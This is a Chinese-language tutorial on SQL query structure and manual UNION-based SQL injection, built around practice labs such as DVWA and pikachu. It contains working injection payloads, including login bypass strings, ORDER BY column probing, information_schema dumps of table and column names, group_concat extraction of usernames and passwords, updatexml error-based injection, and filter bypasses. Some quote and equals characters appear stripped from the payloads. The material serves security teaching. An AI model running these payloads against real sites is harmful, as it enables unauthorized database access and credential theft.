
关于SQL查询语句与注入实战我想先把SQL基础讲明白做安全测试这些年我带过不少新人发现一个很普遍的现象很多人拿上SQLMap就能跑出数据但一旦目标环境不允许用工具或者过滤规则严一点就直接卡住了。问原因十有八九是SQL查询语句本身就没吃透。所以这篇内容我打算把“SQL查询语句”和“手注/显注”放在一起讲因为这两件事本质上是一件事——你只有先搞清楚查询语句是怎么构造的才能知道注入语句该在哪里断、在哪里拼、在哪里收。先解释一下标题里的两个词。“手注”就是手工注入不依赖自动化工具直接在请求参数里构造SQL片段通过页面回显的变化来判断漏洞是否存在并逐步提取数据。“显注”则是指有显式回显的注入也就是说你构造的查询结果会直接展示在页面上最典型的场景就是联合查询注入UNION SELECT后文绝大部分内容都在围绕这一种打法展开。与之相对的是盲注也就是页面没有直接回显只能通过真/假、延迟、报错等间接信号来判断数据内容那个复杂程度更高以后单独开一篇。这篇内容适合谁看一是刚入门Web安全、想搞懂注入原理而不是只会抄Payload的初学者二是写业务代码时对SQL拼接不够敏感的后端开发看看攻击者是怎么利用你写的那些查询条件的。不管哪类读者我都会先把查询语句讲透再带你把注入过程完整走一遍。1. 从头捋一遍SQL查询语句的核心骨架1.1 SELECT语句的执行顺序很多人从一开始就搞反了先抛开注入不谈我们单纯看一条查询语句它在数据库内部是怎么被执行的。这是理解后面所有Payload的基础我建议你花十分钟把这张表记牢。SELECT column_a, column_b, COUNT(*) FROM table_name WHERE condition GROUP BY column_a HAVING group_condition ORDER BY column_id LIMIT offset, count;看起来很简单对吧但执行顺序和你写代码的顺序完全不一样。数据库不是按你书写顺序从上到下执行的它的逻辑顺序是先走 FROM确定从哪张表取数据再走 WHERE过滤行级别条件然后 GROUP BY对过滤后的结果分组紧随其后 HAVING过滤分组后的结果接着 SELECT计算并投影需要的列ORDER BY 排序最后 LIMIT 分页这条执行顺序线在后文的注入实战里会发挥巨大作用。最典型的就是ORDER BY被用来探测列数——因为ORDER BY是在SELECT投影之后执行它可以直接按列序号排序即使你不知道列名也能用这恰好给了我们一个探测目标表有多少列的绝佳窗口。我在带新人的时候经常让他们先做一个小练习把上面这条语句的执行顺序默写三遍。你可能会觉得这跟注入有什么关系关系可太大了。比如很多人写联合查询时会在UNION后面的SELECT里写ORDER BY结果要么报错要么排序失效就是因为没搞懂UNION和ORDER BY的合并规则后文4.1节我会展开讲这个坑。1.2 WHERE条件的“道”与“术”对于注入来说WHERE子句是最常被利用的位置因为绝大多数业务场景都是通过条件查询来筛选数据的。一个典型的登录场景后端拼接出来的查询可能是这样SELECT * FROM users WHERE username admin AND password 123456;这里有个关键点单引号是用来包裹字符串的但在SQL语法里单引号也承担着字符串边界的角色。如果你的输入把前一个引号闭合掉再在SQL语境里插入额外逻辑整条语句的语义就变了。举个最直观的例子。假设后端代码是这样的$sql SELECT * FROM users WHERE username . $_POST[username] . AND password . $_POST[password] . ;正常输入admin/123456拼出来的查询是SELECT * FROM users WHERE username admin AND password 123456;但如果用户名输入的是admin OR 11拼出来就变成了SELECT * FROM users WHERE username admin OR 11 AND password 123456;注意这里由于AND的优先级高于OR实际语义变成只要username匹配admin或者同时满足11和密码正确而11是恒真条件所以整条WHERE恒真。登录逻辑一旦写成“查到记录就通过”这行查询就会返回所有用户记录攻击逻辑因此得逞。这就是所谓的“万能密码”原型。网络上经常流传的 or 11 --、 or 11这类Payload核心原理都来自字符串边界的打破和条件语义的重构。我建议你在练习时不要死记Payload而是亲手把输入代入SQL模板把最终拼接结果写出来这会让你对注入的理解上一个台阶。1.3 UNION是什么它凭什么能帮我们“显注”UNION操作符在SQL中的标准语义是把两个或多个SELECT查询的结果集合并成一个结果集。它的语法很简单SELECT column_a FROM table_1 UNION SELECT column_b FROM table_2;UNION能够生效的关键约束有两个每个SELECT语句返回的列数必须相同对应位置的数据类型必须兼容这两条约束直接决定了显注联合查询注入的核心步骤——第一步永远是判断列数。因为攻击者想让自己的查询结果“拼”进页面渲染的数据里就必须保证UNION后面的子查询列数和目标查询一致否则数据库直接报“列数不匹配”的错误攻击直接失败。打个生活化的比方你和朋友要合拼一张桌子开会你的简历是A4纸朋友带来的是A3纸那肯定没法整齐地拼在一起。UNION就是把多份查询结果拼成一页表格列数不一致表格直接对不上数据库就报错给你看。默认UNION会去重如果不想去重可以用UNION ALL。在注入场景中通常无所谓因为我们要提取的数据本身不会和目标查询结果重复。不过在个别数据库中比如MySQL的某些版本使用UNION ALL在特定场景下能避免排序临时表带来的性能损耗如果对方是个大数据表这一步差异可能影响响应速度。2. 手注前的准备怎么判断一个参数能不能注2.1 从靶场说起DVWA和pikachu为什么是练习首选网上搜索SQL注入相关的内容DVWA、pikachu、sqli-labs这几个靶场永远排在前面。原因很简单有现成的漏洞环境、有难度梯度、有源码可以对照审计。以DVWA的SQL Injection模块为例Low级别的代码几乎是“故意”把用户输入直接拼进SQL语句的这是最经典的入门场景。$id $_GET[id]; $query SELECT first_name, last_name FROM users WHERE user_id $id;;这段代码的典型问题在于$id直接来自URL参数没有做任何过滤、转义或参数化处理并且被直接拼接进SQL字符串。这就等于给攻击者留了一扇没有锁的门。pikachu靶场里的数字型注入则更直白SQL拼接时连引号都没有输入的内容被当作数字直接嵌入条件中。这两种类型分别对应了字符型注入和数字型注入理解它们的区别很重要因为闭合方式完全不同后面2.3节会专门讲。2.2 最简单的探测方法单引号、and 11、and 12当你面对一个URL参数比如http://192.168.1.100/dvwa/vulnerabilities/sqli/?id1SubmitSubmit第一步不是直接上Payload而是先试探这个参数到底存不存在SQL拼接行为。最基础的三个动作先输入id1看页面是否报错。如果出现类似You have an error in your SQL syntax的信息说明输入被拼进了SQL语句而且数据库没有对语法错误做遮蔽这对后续判断非常有利。然后输入id1 and 11观察页面是否正常显示。再输入id1 and 12观察页面是否为空或者明显不同。如果两种情况表现不一样说明你的逻辑条件真正参与到了SQL查询中注入点确认。这里有个要点为什么用and 11和and 12来对比而不是直接猜因为页面正常显示可能是服务端做了容错处理返回了默认数据但当你用and 12构造出恒假条件时如果SQL确实执行了查询结果必然为空页面就会呈现“无数据”的状态。这一真一假之间的差异就是SQL注入存在的铁证。2.3 数字型和字符型该怎么拼才能不破坏语法前面提到数字型注入和字符型注入的“闭合方式”不同这也是新手最常卡壳的地方。我习惯用一个口诀帮助记忆单引号、双引号、括号输入进去看语法错误信息报错里带什么你就用什么闭合。数字型的注入点在拼接时没有引号包裹比如SELECT * FROM news WHERE id 1;你可以直接在参数后追加and 11变成SELECT * FROM news WHERE id 1 and 11;因为id在SQL语境中是数值类型你输入的内容会被当作数字表达式的一部分不需要闭合引号。字符型的注入点则不同SELECT * FROM news WHERE title hello;如果你输入hello and 11 --拼接后是SELECT * FROM news WHERE title hello and 11 -- ;注意这里的逻辑先用一个单引号闭合掉title原本的右引号让and 11成为SQL语法层面的独立条件再用--把后面原本多余的一个单引号注释掉。--是SQL的注释符在MySQL中--后面必须接一个空格或者用#代替这是无数新手踩过的坑记牢。在实际靶场里你可能还会遇到($id)这种带括号的拼接。这时Payload要变成1) and 11 --多一层右括号的闭合。怎么判断最简单的办法就是故意输入一个看起来像在闭合语法的字符组合看报错信息怎么提示。报错信息是SQL注入排查里最可靠的信息源没有之一。3. 显注实战从爆库到爆数据完整走一遍联合查询注入3.1 判断列数ORDER BY N的妙用与边界确认注入点后进入显注的第一步判断目标查询返回的列数。这里最常用的方法就是ORDER BY后面跟数字序号。输入id1 order by 1、order by 2、order by 3……直到页面报错为止。比如ORDER BY 1、2、3都正常ORDER BY 4报错说明查询返回的列数是3列。原理很简单ORDER BY可以按列序号排序如果序号超出实际列数数据库会提示Unknown column 4 in order clause。这个报错直接告诉我们目标查询最多只有3列。这里有个经验值与其从1开始慢慢试不如先试一个较大的数比如10如果报错就折半往回调这样能更快逼近真实列数。当然前提是你已经排除了被WAF拦截或者页面统一报错的可能性。有些情况下页面不会报错而是返回空结果或者直接跳转这时候可以通过观察HTTP状态码、响应长度、页面标题等间接信号来判断。我在Firefox的F12面板里会同时打开“网络”标签页看响应体积变化这对非报错型场景的列数判断很有帮助。3.2 找到显示位你在页面上能控制哪些输出列数确定之后下一步是探测目标查询的每一列到底渲染在了页面的哪个位置。标准做法是构造UNION SELECT其中第一个查询返回空让联合查询的结果直接落到页面展示区域。SELECT first_name, last_name FROM users WHERE user_id -1 UNION SELECT 1, 2;我把第一个查询的id条件改成-1是为了让第一个查询结果为空这样页面最终展示的就是UNION第二个查询的数据。页面上如果出现数字1和2就说明这两列分别对应页面上显示数字的位置然后就可以把要查的数据放在对应位置了。这里有个关键细节第一个查询结果必须为空否则UNION的结果会是两段数据的拼接你构造的数据可能被挤到页面后面看不见甚至导致页面渲染逻辑错乱。通常做法是把id设成一个不存在的负数或者用id0因为正常业务数据基本不会出现负数主键。3.3 爆数据库名information_schema这张“元数据之母”有了显示位就可以开始取数据了。显注最拿手的就是直接查询数据库的元数据而MySQL里承载全局元数据的核心库叫information_schema。获取当前使用的数据库名UNION SELECT database(), 2;获取所有数据库名UNION SELECT schema_name, 2 FROM information_schema.schemata;如果你愿意还可以进一步查每个库里有哪些表、每张表有哪些列。这些操作都围绕information_schema展开。为了让你有代入感我们假设目标是一个博客系统数据库里有一张admin相关的表。现在我要提取所有表名看看哪些表值得进一步“关照”UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema database();这里table_schema database()是个很实用的技巧相当于自动聚焦当前数据库免得手写数据库名容易拼错。如果页面没有显示所有结果说明数据可能被截断或者有长度限制这时候可以在末尾加上LIMIT 0,1一条一条取。3.4 爆表名、爆列名、爆数据一套完整的注入链继续往后走当我知道了表名比如users表下一步就是获取这张表的列名UNION SELECT column_name, 2 FROM information_schema.columns WHERE table_name users;拿到列名比如username、password最关键的提取数据环节就是UNION SELECT username, password FROM users;到这里整条注入链就走完了注入点确认→列数探测→显示位定位→爆库名→爆表名→爆列名→爆数据。一套流程下来目标数据基本已经暴露了。纸上谈兵毕竟不够痛快我打算模拟一个完整的实战案例。假设目标URL是http://target.com/news.php?id1页面正常显示新闻标题和正文我按顺序执行以下Payload第一步确认注入点id1 -- 报错存在字符型注入 id1 and 11 -- 正常显示 id1 and 12 -- 页面无数据第二步探测列数id1 order by 1 -- 正常 id1 order by 2 -- 正常 id1 order by 3 -- 正常 id1 order by 4 -- 报错列数为3第三步定位显示位id-1 union select 1,2,3 -- 页面出现1和32没有显示第四步爆库名id-1 union select 1,database(),3 -- 页面显示news_db第五步爆表名id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() -- 页面显示article,user第六步爆user表的列名id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameuser -- 页面显示id,username,password第七步提取数据id-1 union select 1,group_concat(username,:,password),3 from user -- 页面显示admin:this_is_a_hash_password这里我用到了group_concat()函数它会将多条结果合并成一行字符串避免因为页面只显示第一行结果而看不到完整数据。这是个非常实用的显注技巧但要注意输出长度限制如果数据太长可以配合limit N,1逐行提取。3.5 显注的几个变体报错注入与堆叠注入的简要思路显注除了联合查询还有一个重要分支是报错注入。它的原理是人为构造会导致SQL执行错误的语句让数据库把敏感信息反馈到报错信息里。最典型的是updatexml()和extractvalue()两个函数在MySQL中的报错输出。id1 and updatexml(1,concat(0x7e,database(),0x7e),1)这句执行时updatexml()的第二个参数需要是XPath格式字符串我们把数据库名拼接进去由于格式不合法数据库会报错而报错信息里恰好包含了我们设置的内容。这相当于利用数据库本身做了一次数据回显。堆叠注入则是利用某些连接驱动允许一条请求执行多条SQL语句的特性直接在注入点后面加分号再接一条独立语句。PHP的MySQL扩展mysql_query是不允许堆叠的但PDO和SQL Server就可能允许。堆叠注入能做的事情远远超出查询比如写文件、改数据、执行存储过程但前提条件也更苛刻需要底层驱动支持多语句执行。4. 实战中我踩过的坑可能也是你现在正卡住的点4.1 黑白名单、引号过滤与注释失效怎么破手注过程中最让人头疼的就是各种过滤。常见的有三种情况一是单引号被过滤。当你输入后端直接替换为空Payload就失效了。这种情况下可以尝试宽字节注入利用数据库字符集转换的漏洞让\转义符失效。原理说起来复杂实际操作就是在引号前加%df利用GBK编码和UTF-8编码的差异把\“吃掉”。在新版的MySQL中这种手法已经越来越难用了但老版本站点仍然有效。二是注释符号--、#被过滤。有些过滤规则只拦截注释符这时候不注释多余的引号就必须保证你的输入本身就满足SQL语法。一个替代方案是用闭合引号来平衡比如在字符型注入中你输入的Payload可以把自己的引号“补全”AND 11这样整个语句在语法上是完整的不需要注释符也能正常执行。三是空格被过滤。常见手法是用/**/代替空格比如id1/**/and/**/11如果你面对的过滤规则更严格空格还会被替换成或%20这时需要根据实际编码情况调整。我的经验是先输入一段明显的标记比如xx触发报错后看后端对输入做了哪些变化再针对性地构造绕过。报错信息永远是最高效的信息来源因为错误日志会暴露过滤规则。4.2 为什么注释符号在MySQL里经常“失效”这是一个极其常见的坑。在MySQL中--注释符要求后面必须至少跟一个空白字符否则不生效。很多人写了--以为能注释掉末尾的引号实际上一看还是报错就是因为漏了那个空格。对比一下SELECT * FROM users WHERE id 1-- -- 不生效--后面紧跟MySQL不认为是注释 SELECT * FROM users WHERE id 1-- -- 生效--后面有空格 SELECT * FROM users WHERE id 1# -- 生效#注释符没有空格限制所以我在Payload里习惯用--并且刻意在末尾加一个空格或者用#代替。在URL中提交时空格可能被编码成%20或所以有些Payload写成--%20就是这个原因。你看到网上很多Payload写法不一不是随机变体而是都在解决同一个空格问题。4.3 表格里的SQL注入常见问题速查现象可能原因排查思路加单引号就报错但and 11/12无差异参数可能被截断、整形转换或过滤了逻辑关键字尝试id2-1观察是否等于id1判断数字是否直接参与运算UNION始终不生效页面还是显示第一条数据第一个查询没置空或UNION列数、类型不匹配把条件id改成负数核对列数检查对应显示位的数据类型--注释后依然报错MySQL的--注释要求后带空格改用--带空格或#页面显示“无法显示该网页”或503可能触发WAF拦截或请求头异常尝试大小写混淆、编码绕过或换一种不常见的闭合方式结果被截断或只显示一行页面渲染逻辑只取第一条记录或查询结果过多用group_concat()合并用LIMIT逐条提取密码字段是一段不可读密文可能是MD5哈希也可能是带盐加密优先尝试常见密码的哈希值再考虑是否要用明文登录逻辑报错信息里出现文件路径、函数名目标开启了详细错误报告利用报错信息本身做判断但注意别把目标日志刷爆每个问题背后都是一个实际场景截断、类型转换、注释符差异、页面渲染逻辑、加密算法……排查时不要只盯Payload本身要把整个请求链路和数据库行为都纳入范围。4.4 手工注入的价值为什么我建议你别一上来就用SQLMap说了这么多也许你会问SQLMap一键不是更快吗确实快但你拿着工具跑出来的结果很多时候并不知道它为什么能注入、为什么这个Payload有效。一旦目标加了WAF、参数做了过滤、响应里带上了CSRF Token工具就未必能跑通了。最典型的场景SQLMap默认会发大量请求探测如果目标有WAF很快就会被拦截而手工注入可以在不触发告警的前提下通过少量请求快速判断注入类型并精确构造闭合方式。我经历过好几个授权的测试项目靠的就是手工先摸清闭合结构SQLMap只是作为辅助甚至在手工已经拿到结果时根本不需要上工具。另一个被忽略的价值是手工注入能帮你理解业务数据结构和查询逻辑。比如在爆表名时你可能会发现一张名为logs的表里面居然存了用户密码这就暴露了业务方的表设计缺陷。这种洞察力用工具一键跑出来是学不到的。4.5 最后分享一个我自己的习惯我在手注的时候会在本地的MySQL里同步搭一套模拟表结构把要执行的Payload先跑一遍确认语法和返回结果无误再拿去目标环境验证。这么做有两个好处一是本地环境报错信息完整方便排错二是不会因为盲目在目标上试错而触发太多告警。这种“先在本地演练、再到目标验证”的思路虽然看起来多了一步但长期来看是效率最高的。如果是练习我强烈建议你在DVWA和pikachu这类靶场上反复做不要只求跑通还要做一件事打开后端源码把每一句Payload和PHP代码逐行对照看一遍。看到代码里那句$query SELECT ... WHERE id $id再回看你输入的Payload你才能真正理解“注入”这两个字的本质。我也建议你把information_schema当成一个老朋友没事就在本地库上跑一跑看看有哪些表、哪些列。把元数据查询练熟了手注的“爆库爆表爆字段”环节对你来说就是条件反射不再需要临时查语法了。真正到了实战环境你观察页面报错、判断回显位置、选择下一条Payload所有这些动作都会自然连贯起来。